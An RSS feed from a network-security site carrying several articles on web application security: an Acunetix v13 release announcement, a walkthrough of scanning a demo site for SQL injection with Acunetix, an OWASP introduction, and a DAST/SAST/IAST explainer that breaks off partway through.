<?xml version="1.0" encoding="utf-8"?>
<!-- generator="" -->
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Web Application Vulnerability Scanners</title>
		<description><![CDATA[Leading Network Security & Cyber Security site. Cisco Routing/Switching, VPN, Microsoft, SASE, SSE, F5, PaloAlto Firewalls, Protocol Analysis, Tips & more.]]></description>
		<link>https://www.firewall.cx/security/web-application-vulnerability-scanners.html</link>
		<lastBuildDate>Sat, 11 Apr 2026 12:43:45 +1000</lastBuildDate>
		<generator></generator>
		<atom:link rel="self" type="application/rss+xml" href="https://www.firewall.cx/security/web-application-vulnerability-scanners.feed?type=rss"/>
		<language>en-gb</language>
		<item>
			<title>Acunetix v13 Release Introduces Groundbreaking Innovations</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/acunetix-v13.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/acunetix-v13.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-v13-release/introducing-acunetix-v13.png" alt="Acunetix v13 Web Application Vulnerability and Network Scanner" style="margin: 7px; float: left;" title="Acunetix v13 Web Application Vulnerability and Network Scanner" />The newest release of the<strong> Acunetix Web Vulnerability Scanner</strong> further improves performance and premieres <strong>best-of-breed technologies.</strong></p>
<p style="text-align: justify;">Acunetix, the pioneer in <strong>automated web application security software</strong>, has announced the release of <strong>Acunetix Version 13</strong>. The new release comes with an <strong>improved user interface</strong> and introduces innovations such as the <strong>SmartScan engine</strong>, <strong>malware detection functionality</strong>, <strong>comprehensive network scanning</strong>, <strong>proof-of-exploit</strong>, <strong>incremental scanning</strong>, and more. This release further strengthens the leading position of Acunetix on the web security market.</p>
<p style="text-align: justify;">“Acunetix has always focused on performance and accuracy and the newest release is yet another proof of this,” said Nicolas Sciberras, CTO. “You cannot find these unique features in any other product.”</p>
<h2 style="text-align: left;">Unparalleled Performance</h2>
<p style="text-align: justify;">Scanning complex web applications using traditional web vulnerability scanners may take hours, having a serious impact on production site performance and internal processes. Acunetix addresses this problem by introducing even more innovations that improve scanning performance.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-v13-release/acunetix-v13-interface.png" alt="acunetix v13 web application and network vulnerability scanner interface" style="display: block; margin-left: auto; margin-right: auto;" title="acunetix v13 web application and network vulnerability scanner interface" /></p>
<p style="text-align: justify;">The <strong>SmartScan</strong> engine included with Acunetix v13 prioritizes unique pages to discover more vulnerabilities early on. In most cases, <strong>Acunetix SmartScan</strong> can find approximately <strong>80 percent</strong> of vulnerabilities in the <strong>first 20 percent of the scan</strong>. The newest Acunetix engine also <strong>reduces</strong> the <strong>number of requests required to find vulnerabilities</strong>, which <strong>lessens the site load</strong> during the scan.</p>
<p style="text-align: justify;">In addition to the <strong>SmartScan engine</strong>, the newest Acunetix release also introduces <strong>incremental scanning</strong>. You can choose to scan only the elements of your web application that have changed since the last full scan. On average, it shortens the process by <strong>90 percent</strong> or more.</p>
<h2 style="text-align: left;">Comprehensive Security Coverage</h2>
<p style="text-align: justify;">With the release of Acunetix v13, <strong>network scanning functionality</strong> is now available on all platforms. <strong>Web vulnerabilities</strong> and <strong>network vulnerabilities</strong> are part of the same assessment and management processes.</p>
<p style="text-align: justify;">In addition to the previously available malicious link discovery function, the newest Acunetix release also introduces <strong>web malware scanning</strong>. Acunetix <strong>discovers scripts on websites</strong> and <strong>web applications</strong>, <strong>downloads them</strong>, and <strong>scans them locally using Windows Defender</strong> on Windows or ClamAV on Linux.</p>
<h2 style="text-align: left;">Further Advances In Automation</h2>
<p style="text-align: justify;">Acunetix v13 introduces <strong>two new features</strong> that <strong>greatly improve automation</strong>, especially in the case of larger organizations. The <strong>vulnerability confidence level</strong> clearly indicates whether the vulnerability may need further manual confirmation. Critical vulnerabilities typically have a 100 percent confidence level, which means that they are fully verified. For most such vulnerabilities, Acunetix now also provides a <strong>proof-of-exploit</strong>, such as the content of a sensitive file downloaded from the server.</p>
<p style="text-align: justify;">The newest release also <strong>enhances the import and integration capabilities</strong> of Acunetix. The scanner can now additionally <strong>import WADL</strong>, <strong>ASP.Net WebForms</strong>, and <strong>Postman</strong> files to seed the crawl. You can also <strong>export vulnerabilities</strong> to even more issue trackers: <strong>GitLab</strong>, <strong>Bugzilla</strong>, and <strong>Mantis</strong>.</p>
<h2 style="text-align: left;">Technology Improvements</h2>
<p style="text-align: justify;">With all the new advances comes an improved user interface, featuring better sorting and filtering as well as response highlighting and improved accessibility.</p>
<p style="text-align: justify;">In addition to the above innovations and improvements, the <strong>Java AcuSensor technology</strong> now supports the <strong>Spring framework</strong>, while the <strong>DeepScan crawling engine</strong> can now directly recognize <strong>Angular 2</strong>, <strong>Vue</strong>, and <strong>React frameworks</strong> and adjust crawling to their requirements.</p>
<h2 style="text-align: left;">Acunetix, The Company</h2>
<p style="text-align: justify;">Founded in 2005 to combat the alarming rise in web application attacks, Acunetix is a <strong>pioneer and market leader in automated web application security technology</strong>. Acunetix products are trusted globally by individual security experts, SMBs, and large organizations. It is the security provider of choice for many customers in the government, military, educational, telecommunications, banking, finance, and e-commerce sectors, including the Pentagon and Fortune 500 companies such as Nike, Disney, and Adobe.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Tue, 25 Feb 2020 18:00:11 +1100</pubDate>
		</item>
		<item>
			<title>How to Test for SQL Injection Attacks &amp; Vulnerabilities</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/how-to-test-for-sql-injection-vulnerabilities.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/how-to-test-for-sql-injection-vulnerabilities.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><strong><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/scanning-for-sql-injection-vulnerabilities.jpg" alt="scanning for sql injection vulnerabilities" style="margin: 7px; float: left;" title="scanning for sql injection vulnerabilities" />SQL injection vulnerabilities</strong> have held the first spot on the <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/what-is-owasp-introduction-to-owasp.html" target="_blank" id="OWASP-Top-10-list" title="OWASP Top 10 list">OWASP Top 10 list</a> for quite some time. This is due to the fact that they are both still widespread and can lead to very serious consequences. Many major security breaches were caused by <strong>SQL injections</strong>, even in recent months. For example, this type of vulnerability caused a leak of financial data for more than 70 percent of citizens of Bulgaria.</p>
<p style="text-align: justify;">However, SQL vulnerabilities are also easy to discover automatically using <strong>web vulnerability scanners</strong>. Advanced web security scanning software can detect even the more advanced type of SQL injections such as <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html" target="_blank" id="blind-SQL-injections" title="blind SQL injections"><strong>blind SQL injections</strong></a>. SQL injections are also easy to fix and avoid. Developers can use <strong>parameterized queries</strong> (<strong>prepared statements</strong>) or <strong>stored procedures</strong> to avoid the root cause of SQL injections, which is the direct use of untrusted user input in SQL queries.</p>
<p style="text-align: justify;">In this article, we will show you <strong>how to scan your web applications for SQL injections</strong> using the latest version of <strong>Acunetix</strong>. The scan will be performed on the VulnWeb site by Acunetix, which is intentionally vulnerable to attacks. The article assumes that you have downloaded and installed the <strong>Acunetix demo</strong>.</p>
<p style="text-align: justify;"><strong>Key Topics</strong>:</p>
<ul style="text-align: justify;">
<li><a href="https://www.firewall.cx/#step-1-creating-a-scan-target" target="_self" title="Step 1 – Creating a Scan Target">Step 1 – Creating a Scan Target</a></li>
<li><a href="https://www.firewall.cx/#step-2-performing-a-scan" target="_self" title="Step 2 – Performing a Scan">Step 2 – Performing a Scan</a></li>
<li><a href="https://www.firewall.cx/#step-3-interpreting-results" title="Step 3 – Interpreting Results">Step 3 – Interpreting Results</a></li>
<li><a href="https://www.firewall.cx/#summary" target="_self" title="Summary">Summary</a></li>
</ul>
<h2>Related Articles</h2>
<ul>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html" target="_blank" title="Everything You Need to Know About SQL Injection Attacks &amp; Types">Everything You Need to Know About SQL Injection Attacks &amp; Types, SQLi Code Example, Variations, Vulnerabilities &amp; More</a></li>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="What is Cross-site Scripting (XSS)">What is Cross-site Scripting (XSS)? Why XSS is a Threat, how does XSS Work? Different Types of XSS Attacks</a></li>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="Creating a Cross-site Scripting (XSS) Attack">Creating a Cross-site Scripting (XSS) Attack. Understanding How XSS Attacks Work &amp; Identifying Web Vulnerabilities</a></li>
</ul>
<h2 style="text-align: justify;"><a name="step-1-creating-a-scan-target">STEP 1: CREATING A SCAN TARGET</a></h2>
<p style="text-align: justify;">To begin testing your web application for SQL injections, you need to add your web application URL as the target.</p>
<ol style="text-align: justify;">
<li>&nbsp;Click on the <strong>Targets</strong> icon in the menu on the left. The <strong>Targets</strong> pane is displayed.</li>
</ol>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/creating-a-new-target-to-scan.png" alt="Creating a new target to scan for SQL Injection Vulnerabilities" style="margin: 7px auto; display: block;" title="Creating a new target to scan for SQL Injection Vulnerabilities" /></p>
<ol start="2" style="text-align: justify;">
<li style="text-align: justify;">Click on the <strong>Add Target</strong> button. The <strong>Add Target</strong> dialog is displayed. In the <strong>Address</strong> field, enter the full URL of your web application. Optionally, in the <strong>Description</strong> field, enter a human-readable description of your target:</li>
</ol>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/add-new-target-url-for-vulnerability-scan.png" alt="Adding a new target url to scan for sql vulnerabilities" style="margin: 7px auto; display: block;" title="Adding a new target url to scan for sql vulnerabilities" /></p>
<ol start="3" style="text-align: justify;">
<li>Click on the <strong>Add Target</strong> button in the <strong>Add Target</strong> dialog. The <strong>Target Info</strong> pane is displayed:</li>
</ol>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/tweaking-vulnerability-scanning-speed-and-settings.png" alt="tweaking sql vulnerability scanning speed and settings" style="margin: 7px auto; display: block;" title="tweaking sql vulnerability scanning speed and settings" /></p>
<ol start="4" style="text-align: justify;">
<li>In the <strong>Target Info</strong> pane, you can configure additional properties of the target. For example, you may choose to use <strong>AcuSensor</strong> technology, which requires that you install the AcuSensor agent on your web server. We recommend that you use this technology to increase the precision of your scanning.</li>
</ol>
<h2 style="text-align: justify;"><a name="step-2-performing-a-scan">STEP 2: PERFORMING A SCAN</a></h2>
<p style="text-align: justify;">Once your target is added and configured, you can scan it whenever you need to. You can also schedule your scans for the future. There are different types of scans, depending on your current needs. In this article, we will perform an <strong>SQL injection</strong> scan.</p>
<ol start="5" style="text-align: justify;">
<li>&nbsp;Click on the <strong>Scan</strong> button in the <strong>Target Info</strong> pane. You can also click on the <strong>Scans</strong> icon in the left-hand menu to open the <strong>Scans</strong> pane, select the target by clicking on the leftmost column, and click on the <strong>New Scan</strong> button. The scan is started. You can see the progress of the scan in the <strong>Activity</strong> section:</li>
</ol>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/scanning-for-sql-injection-vulnerabilities.png" alt="scanning for sql injection vulnerabilities" style="display: block; margin: 7px auto;" title="scanning for sql injection vulnerabilities" /></p>
<ol start="6" style="text-align: justify;">
<li>When the scan is finished, a <strong>Completed</strong> icon will be visible in the <strong>Activity</strong> section:</li>
</ol>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/sql-injection-vulnerability-scan-complete.png" alt="sql injection vulnerability scan complete" style="margin: 7px auto; display: block;" title="sql injection vulnerability scan complete" /></p>
<h2 style="text-align: justify;"><a name="step-3-interpreting-results">STEP 3: INTERPRETING RESULTS</a></h2>
<p style="text-align: justify;">When the scan is completed, you can analyze the details of the discovered vulnerabilities so that you know how to eliminate them. Acunetix provides additional information about all vulnerabilities as well as helpful links that teach you how to fix the issue.</p>
<ol start="7" style="text-align: justify;">
<li>To see the details of vulnerabilities discovered during the scan, click on the <strong>Vulnerabilities</strong> tab. You can also click on the <strong>Vulnerabilities</strong> icon in the left-hand menu to see vulnerabilities for all targets at the same time:</li>
</ol>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/list-of-vulnerabilities-detected.png" alt="list of sql injection vulnerabilities detected" style="margin: 7px auto; display: block;" title="list of sql injection vulnerabilities detected" /></p>
<ol start="8" style="text-align: justify;">
<li>To see the details of a selected vulnerability, click on the row in the table that represents the vulnerability. The vulnerability details panel is displayed:</li>
</ol>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/scanning-for-sql-injection-vulnerabilities/examining-sql-vulnerabilities-detected.png" alt="examining sql injection vulnerabilities detected" style="margin: 7px auto; display: block;" title="examining sql injection vulnerabilities detected" /></p>
<p style="text-align: justify;">As you can see above, Acunetix provides exact details of the payload and the resulting SQL query. Since AcuSensor technology was used, the report also shows the source file and the line of code causing the SQL Injection vulnerability.</p>
<h2 style="text-align: justify;"><a name="summary">Summary</a></h2>
<p style="text-align: justify;">This article showed <strong>how to detect SQL Injection Vulnerabilities</strong> on your <strong>website</strong>, <strong>web application</strong> and <strong>CMS</strong> system. We saw how easy and quickly the <strong>Acunetix Web Vulnerability Scanner</strong> can be used to scan and obtain a full report of all <strong>SQL Injection vulnerabilities</strong> and <strong>exploits</strong> your systems are susceptible to.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Thu, 03 Oct 2019 19:29:32 +1000</pubDate>
		</item>
		<item>
			<title>What is OWASP?  Open Web Application Security Project - Helping Developers and Businesses Raise Awareness on Cyber-Security Attacks, Vulnerabilities and Security Threats</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/what-is-owasp-introduction-to-owasp.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/what-is-owasp-introduction-to-owasp.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/what-is-owasp/introduction-to-owasp.png" alt="introduction to owasp" style="vertical-align: middle; margin: 7px; float: left;" title="introduction to owasp" />With nearly every business sector relying on the internet and digital tools to function, it is no surprise that <strong>cybersecurity</strong> is the second-fastest growing industry. <strong>Hackers</strong> don’t care how large or small your company is. They will target all sizes in an all-out effort to <strong>steal data</strong>, <strong>access confidential</strong> or <strong>classified information</strong>, cause mayhem, and hurt the organization's reputation.</p>
<p style="text-align: justify;">Fortunately, not all hackers have nefarious intentions. The open source community is full with experts who are looking to warn people about <strong>threats</strong> and find the most effective ways to <strong>keep data safe</strong>. Many of those experts are a part of the <a href="https://owasp.org/" target="_blank" rel="nofollow noopener" title="Open Web Application Security Project (OWASP)"><strong>Open Web Application Security Project</strong></a> (OWASP).</p>
<p style="text-align: justify;">In this article, we'll cover the <strong>basics of OWASP</strong> and the <strong>critical role</strong> this work plays in the everyday operation of computers, servers, and other forms of modern technology. Topics covered include:</p>
<ul>
<li style="text-align: justify;"><a href="https://www.firewall.cx/#what-is-owasp" title="What is OWASP? Introduction to Open Web Application Security Project">What is OWASP? Introduction to Open Web Application Security Project</a></li>
<li style="text-align: justify;"><a href="https://www.firewall.cx/#importance-of-vendor-neutrality-owasp" title="Importance of Vendor Neutrality (OWASP)">Importance of Vendor Neutrality (OWASP)</a></li>
<li style="text-align: justify;"><a href="https://www.firewall.cx/#why-web-application-security-matters" title="Why Web Application Security Matters">Why Web Application Security Matters</a></li>
<li style="text-align: justify;"><a href="https://www.firewall.cx/#the-owasp-top-10-list" title="The OWASP Top 10 List">The OWASP Top 10 List</a></li>
<li style="text-align: justify;"><a href="https://www.firewall.cx/#accessing-digital-resources-securely" title="Accessing Digital Resources Securely">Accessing Digital Resources Securely</a></li>
<li style="text-align: justify;"><a href="https://www.firewall.cx/#Summary" title="Summary">Summary</a></li>
</ul>
<h2><a id="what-is-owasp">What Is OWASP? Introduction To Open Web Application Security Project</a></h2>
<p style="text-align: justify;"><strong>OWASP</strong> was originally founded in <strong>2001</strong> by <strong>Mark Curphey</strong> and is run as a <strong>not-for-profit organization</strong> in the United States. The bulk of its contributors are pulled from the open-source community. Today, <strong>more than 32,000 people volunteer</strong> as part of OWASP's efforts, with much of their communication coming through message boards or email distribution lists.</p>
<p style="text-align: justify;">The organization is designed to be an unbiased group focused on the best interests of the technology world as a whole. They will not promote specific vendor products or solutions. Instead, OWASP aims to provide practical information to organizations all across the world, with the goal of offering helpful security advice to bring about more informed decisions.</p>
<p style="text-align: justify;">Where <strong>OWASP</strong> becomes particularly valuable is too small and medium-sized businesses that may not have a large IT budget and lack expertise when it comes to cybersecurity. Thanks to the documentation that <strong>OWASP</strong> creates, these types of organizations can gain a better understanding of where their systems are vulnerable and how to protect themselves better.</p>
<p style="text-align: justify;">If you’ve heard of OWASP, it’s likely been in conjunction with a report they update every few years known as the <a href="https://owasp.org/www-project-top-ten/" target="_blank" rel="nofollow noopener" title="OWASP Top 10">OWASP Top 10</a>. The list covers the most relevant cybersecurity threats facing the global community. Later in this article, we'll dive into some of the specifics referenced in the <strong>Top 10</strong>.</p>
<h2 style="text-align: left;"><a name="importance-of-vendor-neutrality-owasp">Importance of Vendor Neutrality (OWASP)</a></h2>
<p style="text-align: justify;">The OWASP community is firm about never endorsing specific products or services related to cybersecurity. This might seem counterintuitive. A company needs to make investments in certain tools if they hope to protect their digital assets. And knowing what vendors to trust is important.</p>
<p style="text-align: justify;">However, the <strong>purpose</strong> of <strong>OWASP</strong> is to draw attention to the <strong>largest security threats</strong> we are facing today. If they were to accept advertising or payments for endorsements, then they would lose their impartial status and reliability. You would not know whether they were recommending a security tool because it was actually the best or because someone was paying them to say so.</p>
<p style="text-align: justify;">In a perfect world, all security vendors would produce products and services that function as intended, whether they are developing virus scanners, malware detectors, or software firewalls. But the dirty underbelly of the industry is inhabited by the cybercriminals who try to disguise their attacks within security tools that are designed to look legitimate.</p>
<p style="text-align: justify;">There is no perfect <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/automate-web-security-how-why-security-tools.html" target="_blank" title="security tool or solution">vulnerability security tool or solution</a>, which is why OWASP avoids picking certain products to recommend. The members of OWASP want to highlight security risks to inspire organizations to go out and find a solution that works best for them.</p>
<p style="text-align: justify;">Members of OWASP have a strict set of rules when it comes to dealing with vendors. There are not allowed to seek sales pitches or participate in a technology talk sponsored by a brand. No materials should be distributed in OWASP mailing lists that focus on particular vendors or products.</p>
<h2 style="text-align: left;"><a name="why-web-application-security-matters">Why Web Application Security Matters</a></h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/what-is-owasp/web-application-vulnerability-scanning.png" alt="web application vulnerability scanning" style="margin: 7px; float: left;" title="web application vulnerability scanning" />Organizations with unimpressive IT budgets may be tempted to minimize how much they spend on security-related tools, activities, and training due to the challenge to mathematically determine what the return on investment (ROI) will be. If one thing is certain, it’s that management will want to know the ROI and when cyber-attacks are in play, coming up with an accurate representation of how much a successful penetration could have cost is, well, not easy.</p>
<p style="text-align: justify;">But <strong>lowering</strong> the priority of <strong>cybersecurity protection</strong> is <strong>dangerous</strong>. Instead, you need to treat it like you would car insurance or health insurance. Everyone likes to think that they won't get into a car accident or have to go to the hospital, but insurance is there to cover you for unexpected incidents.</p>
<p style="text-align: justify;">With <strong>IT security tools</strong>, you typically purchase a solution entirely or else pay for a subscription on a monthly basis. In either case, you spend money up front to avoid disaster for your entire organization. The point is to protect yourself from attacks before you even know you are being targeted.</p>
<p style="text-align: justify;">Cybercriminals obsessively spend their lives looking for <a href="https://www.firewall.cx/tools-tips-reviews/security-articles/automation-web-application-security-testing.html" target="_blank" title="system vulnerabilities">system vulnerabilities</a> that can expose data or bring down entire servers. Usually, money is the primary objective, with the attackers seeking to sell stolen data on the dark web for profit. In some cases though, the attack is meant purely to destroy a company's reputation or ability to operate.</p>
<p style="text-align: justify;">The goal of <strong>OWASP</strong> is to track the most common tactics that hackers utilize and identify what sort of protection is required to defend against them. New vulnerabilities are discovered every day, so that's why it's critical to maintain cybersecurity as an active part of your organization's operations. Buying a set of security tools is not enough. You need to keep those up to date and watch for new types of attacks that demand new types of solutions.</p>
<h2 style="text-align: left;"><a name="the-owasp-top-10-list">The OWASP Top 10 List</a></h2>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/what-is-owasp/owasp-top-10.jpg" alt="owasp top 10" style="margin: 7px auto; display: block;" title="owasp top 10" /></p>
<p style="text-align: center;">OWASP Top 10 List</p>
<p style="text-align: justify;">As mentioned before, OWASP is best known for the <a href="https://owasp.org/www-project-top-ten/" target="_blank" rel="nofollow noopener" title="Top 10 List of security vulnerabilities"><strong>Top 10 List of security vulnerabilities</strong></a> that they revise and publish regularly. The latest version is from 2017 and remains applicable today. The <a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf" target="_blank" rel="nofollow noopener" title="Top 10 List documentation">Top 10 List documentation</a> includes an explanation of each risk as well as diagrams and prevention tips.</p>
<h4 style="text-align: left;">SQL Injection Attacks</h4>
<p style="text-align: justify;">Many of the threats on the <strong>Top 10 List</strong> are targeted at software developers who write code and may discover these types of security flaws during the course of their work. For example, the first risk listed is concerns <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html" target="_blank" title="database injections"><strong>database injections</strong></a> for <strong>SQL</strong> and other platforms. Hackers have used <strong>injection vulnerabilities</strong> for years to manipulate front-end inputs like search fields to retrieve or edit data that should be inaccessible to them.</p>
<h4 style="text-align: left;">Cross-Site Scripting Attacks</h4>
<p style="text-align: justify;">Another major code-based risk is <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="cross-site scripting (XSS) attacks"><strong>cross-site scripting (XSS) attacks</strong></a>, where a cybercriminal will find a way to execute JavaScript or HTML on a remote webpage. Often, they will redirect users to a rogue URL where they try to steal personal information or financial data.</p>
<h4 style="text-align: left;">Best of the Rest</h4>
<p style="text-align: justify;">Some of the other items on the <strong>Top 10 List</strong> exist at a lower level of coding. For example, there are software libraries and frameworks that have known vulnerabilities that hackers can exploit. If your organization uses software that requires such an asset, then you should consider it to be at risk until it is patched.</p>
<p style="text-align: justify;">But even if your coding standards are strict and secure, there are still risks that exist at a system or network level. <strong>Sensitive data exposure</strong> is included in <strong>OWASP's Top 10 List</strong>, as <a href="https://www.firewall.cx/tools-tips-reviews/security-articles/implications-of-unsecure-webservers-and-websites-for-oganizations-companies.html" target="_blank" title="major data breaches"><strong>major data breaches</strong></a> have become a regular occurrence among businesses of all sizes and within all industries.</p>
<h2 style="text-align: left;"><a name="accessing-digital-resources-securely">Accessing Digital Resources Securely</a></h2>
<p style="text-align: justify;">Obviously, <strong>OWASP</strong> is a huge fan of impressing upon organizations the critical need for internal and external users to only access digital resources securely. There are a variety of ways to accomplish this, not limited to:</p>
<ol style="text-align: justify;">
<li><strong>Forget</strong> the old advice that an <strong>eight character password</strong> is <strong>good enough</strong>. Modern <a href="https://techcrunch.com/2018/12/25/cybersecurity-101-guide-password-manager/" target="_blank" rel="nofollow noopener" title="password managers">password managers</a> allow you to create incomprehensibly complex codes that run to <strong>12 or 16 characters or longer</strong>.</li>
<li><strong>Think before you click</strong>. As <a href="https://www.webroot.com/us/en/resources/tips-articles/what-is-social-engineering" target="_blank" rel="nofollow noopener" title="social engineering scams">social engineering scams</a> have moved online, every member of your company needs to be educated to be suspicious of every link because a nasty bit of malware could be hiding on the other end.</li>
<li><strong>Use a </strong><a href="https://www.firewall.cx/security/vpn-services-guides/what-is-a-vpn-beginners-guide-to-anonymous-browsing-and-online-privacy.html" target="_blank" title="virtual private network"><strong>virtual private network</strong></a> (<strong>VPN</strong>) in conjunction with your regular ISP. The cost is modest and it allows you to apply military-grade encryption to your data flow every time you go online. Another VPN benefit is that you receive a new <strong>anonymous IP address</strong> that makes it difficult for a bad guy to determine exactly where you are.</li>
<li><strong>Back up</strong> - as in backup your network regularly. There’s a decent chance a hacker will eventually be successful. At that point, your best defense is to be able to roll back the network to a previous point in history before the malware got in.</li>
<li><strong>Multi-Factor Authentication (MFA)</strong>. MFA is quickly becoming an industry standard requiring users to verify their identity using additional means other than their password. Usually, the second authentication is a <strong>One-Time-Password</strong> (<strong>OTP</strong>) or a <strong>Push notification-verification</strong> via an application installed on the users’ phone.</li>
</ol>
<p style="text-align: justify;">There are hundreds of other preventative measures to take to keep your system safe but these four will get you a long way down the road while you get up to speed on all the security education <strong>OWASP</strong> has to offer.</p>
<h2 style="text-align: left;"><a name="Summary">Summary</a></h2>
<p style="text-align: justify;">Before you jump to purchasing costly solutions from vendors to cover each scenario on the <strong>OWASP Top 10 list</strong>, remember that a huge part of <strong>cybersecurity</strong> is <strong>awareness and education</strong>. Members of your organization should attend training on a regular basis to understand what risks exist for them both as users and system owners.</p>
<p style="text-align: justify;">Following the lead of the <strong>OWASP community</strong> can help your company maintain a strong reputation. If your cybersecurity efforts are working properly, they should be invisible to people inside and outside of your organizations. Problems begin when a <strong>hacker</strong> manages to <strong>compromise your systems</strong>, leaving your <strong>digital assets</strong> and <strong>customers at risk</strong>.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Sun, 11 Aug 2019 18:21:17 +1000</pubDate>
		</item>
		<item>
			<title>Precision Web Application Vulnerability Scanning with Interactive Application Security Testing (IAST)</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/interactive-application-security-testing-iast.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/interactive-application-security-testing-iast.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/interactive-application-security-testing/web-application-vulnerability-testing.jpg" alt="web application vulnerability testing" style="margin: 7px; float: left;" title="web application vulnerability testing" />There are two primary approaches to <strong>web application security testing</strong>. <strong>Dynamic Application Security Testing</strong> (<strong>DAST</strong>), also called <strong>black box testing</strong>, <strong>imitates an attacker</strong>.</p>
<p style="text-align: justify;">The application is tested from the <strong>outside</strong> with no access to the <strong>source code</strong> or the <strong>web server</strong>. <strong>Static Application Security Testing</strong> (<strong>SAST</strong>), also called <strong>white box testing</strong>, <strong>imitates a code reviewer</strong>. The application source code is analyzed from the inside.</p>
<p style="text-align: justify;">Before we dive deeper into these interesting <strong>web application testing</strong> and <strong>vulnerability scanning technologies</strong>, let's take a quick look at what's covered:</p>
<ul>
<li><a href="https://www.firewall.cx/#analyzing-dast-sast" title="Analyzing Dynamic Application &amp; Static Application Security Testing">Analyzing Dynamic Security (DAST) &amp; Static Application Security Testing SAST) Mechanisims</a></li>
<li><a href="https://www.firewall.cx/#what-can-you-do-with-iast" title="What can you do with Interactive Application Vulnerability Scanning">Interactive Application Security Testing (IAST)</a></li>
<li><a href="https://www.firewall.cx/#automation-to-the-rescue" title="automating web application vulnerability scanning">Web Application Vulnerability Scanning - Automation to the Rescue</a></li>
<li><a href="https://www.firewall.cx/#where-is-the-catch" title="IAST - Supporting PHP, Java and .NET">Where's the Catch?&nbsp;Supporting PHP, Java and .NET</a></li>
</ul>
<h2><a name="analyzing-dast-sast">Analyzing Dynamic Security &amp; Static Application Security Testing</a></h2>
<p style="text-align: justify;">Both of these methods have lots of advantages. The <strong>DAST</strong> approach is very practical and has <strong>huge coverage</strong>. You can run a <strong>black box test</strong> on an application written even in the most exotic technology or language. Its coverage is even bigger because detected vulnerabilities can be caused for example by bad configuration and not by mistakes in the source code.</p>
<p style="text-align: justify;">On the other hand, <strong>SAST</strong> can let you discover some things that are not obvious when seen from the outside. For example, additional URLs or parameters. With white box testing, you also know immediately where the problem is located in the source code so it speeds up fixing.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/interactive-application-security-testing/interactive-application-security-testing.png" alt="interactive application security testing" style="display: block; margin-left: auto; margin-right: auto;" title="How interactive application security testing (IAST) works" /></p>
<p style="text-align: center;">IAST provides precision web vulnerability scanning</p>
<p style="text-align: justify;">Imagine how effective a security scan can be if you were to join the two methods together! And no, this is not just theory, it actually exists. The merger of these two approaches is called <strong>Interactive Application Security Testing</strong> (<strong>IAST</strong>) or <strong>gray box testing</strong> and is available for example in Acunetix (thanks to its AcuSensor technology).</p>
<h2><a name="what-can-you-do-with-iast">What Can You Do with IAST?</a></h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/interactive-application-security-testing/web-application-security-testing.jpg" alt="web application security testing" style="margin: 7px; float: left;" title="web application security testing" />A <strong>gray box testing solution</strong> adds hooks around key calls (for example, database calls, system calls, etc.). Those hooks, often called <strong>sensors</strong>, communicate two ways with the <strong>IAST scanner</strong>. Hooks do not require access to the source code. The scanner works directly with the interpreter or the application server.</p>
<p style="text-align: justify;"><strong>Sensors</strong> provide additional information about the calls. In addition, they can provide a <strong>full site map</strong> from the point of view of the web server. For example, a <strong>standalone DAST scanner </strong>would not be able to find a <strong>URL</strong> or a <strong>URL parameter</strong> that is not linked to or in some way announced by the application. However, with a <strong>full site map</strong>, the <strong>IAST scanner</strong> can attempt to <strong>test</strong> the <strong>unannounced URLs</strong>/<strong>parameters</strong>.</p>
